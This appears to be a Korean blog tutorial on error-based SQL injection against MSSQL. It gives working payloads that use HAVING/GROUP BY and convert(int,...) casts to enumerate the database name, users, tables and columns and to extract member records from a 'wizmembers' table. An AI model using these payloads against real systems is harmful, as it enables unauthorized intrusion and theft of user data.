SQL Injection을 파해쳐 보자
일반적으로 bypass를 써서 성공하게 되면, SQL Injection이 가능하다라고 생각 한다.
그 외 '(싱글쿼터)로 데이터 베이스 에러가 발생하면 가능도 하지 않을까 라고 생각 한다.
그렇게 해서 해보면 어느정도는 SQL Injection으로 원하는 결과를 얻기도 한다.

먼저 bypass와 주석에 대해서 알아보자

1. bypass 와 주석
 아래의 bypass를 사용해서 로그인이 되거나 데이터 베이스 에러가 확인 될 경우, 취약하다는 가정을 갖게된다.

사용자 삽입 이미지

MSSQL은 주석을 -- 를 사용하며, MYSQL은 #을 사용한다.

Oracle 확인 방법은
AND 'abcd' = 'ab' + 'cd' 가 참이면 Oracle이 아니고
AND 'abcd' = 'ab' || 'cd'가 참이면  Oracle이 된다.


2. error base SQL Injection
SQL  Injection 종류에서 error base가 가장 대표적이라고 말할 수 있다. 사용자가 사용한 잘못된 SQL 구문으로
 웹페이지에서 에러를 도출 시키는 방법을 error base SQL Injection이라 한다.

일반적으로 브라우져가 보여주는 500 error를 DB error라고 한다.


3. DB 정보 알아내기
'and db_name() < 1 --
 
사용자 삽입 이미지

위와 같이 사용될 경우 db_name()이 정수형이 아닌 관계로 "<" 연산을 받아 들이지 못합니다.
이러한 이유로 인해 아래와 같은 오류 구문을 볼 수 있다.
사용자 삽입 이미지

오류가 발생하여 wizmall이라는 데이터베이스 이름을 알게되었다.


4. 그 외 SQL Injection에서 사용되는 것

1' HAVING 1=1 --
Having 은 첫번째 그룹된 값의 조건을 받아 주는데, 그룹이나 집계된 내역이 존재하지 않아 column 값을 에러로 보여준다.
사용자 삽입 이미지


1' GROUP BY m.mid HAVING 1=1 --
다음 컬럼을 확인하는데 사용됩니다. 위와 다르게 GROUP BY를 사용하여 1번에서 도출된(위의 HAVING) 값을 넣어준다.

사용자 삽입 이미지


1' GROUP BY m.mid m.mpwd HAVING 1=1 --
그 다음 column 값 확인

1' and 1=convert(int,db_name()) --
convert함수를 사용하여 형변환을 일으켜서 DB이름을 알아낸다.

사용자 삽입 이미지


1' and 1=convert(int,user_name())--
사용자 이름 알아내기

1' and 1=convert(int,(select top 1 table_name from information_schema.tables))--
테이블 정보 알아내기

1' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('wiztable_board_config')))--
다음 테이블 정보 알아내기


1' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name = 'wizmembers')) --
컬럼 값 알아내기

1' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name = 'wizmembers' and column_name not in ('uid'))) --
다음 컬럼 값 알아내기

1' and 1=convert(int,(select top 1 mid from wizmembers)) --
사용자 정보 알아내기

1' and 1=convert(int,@@version) --
버전 알아내기

음...  그외 Union select로 알아보기는 다음에 해야지 잇힝~












'O.S & Script & Programming' 카테고리의 다른 글

배치 파일 가지고 놀기  (0) 2012.05.14
윈도우 부팅 순서  (0) 2012.05.14
리눅스에서 ^m 없애기  (0) 2011.02.10
한 줄짜리 웹쉘의 사용법  (0) 2011.02.10
Posted by 도시형닌자
: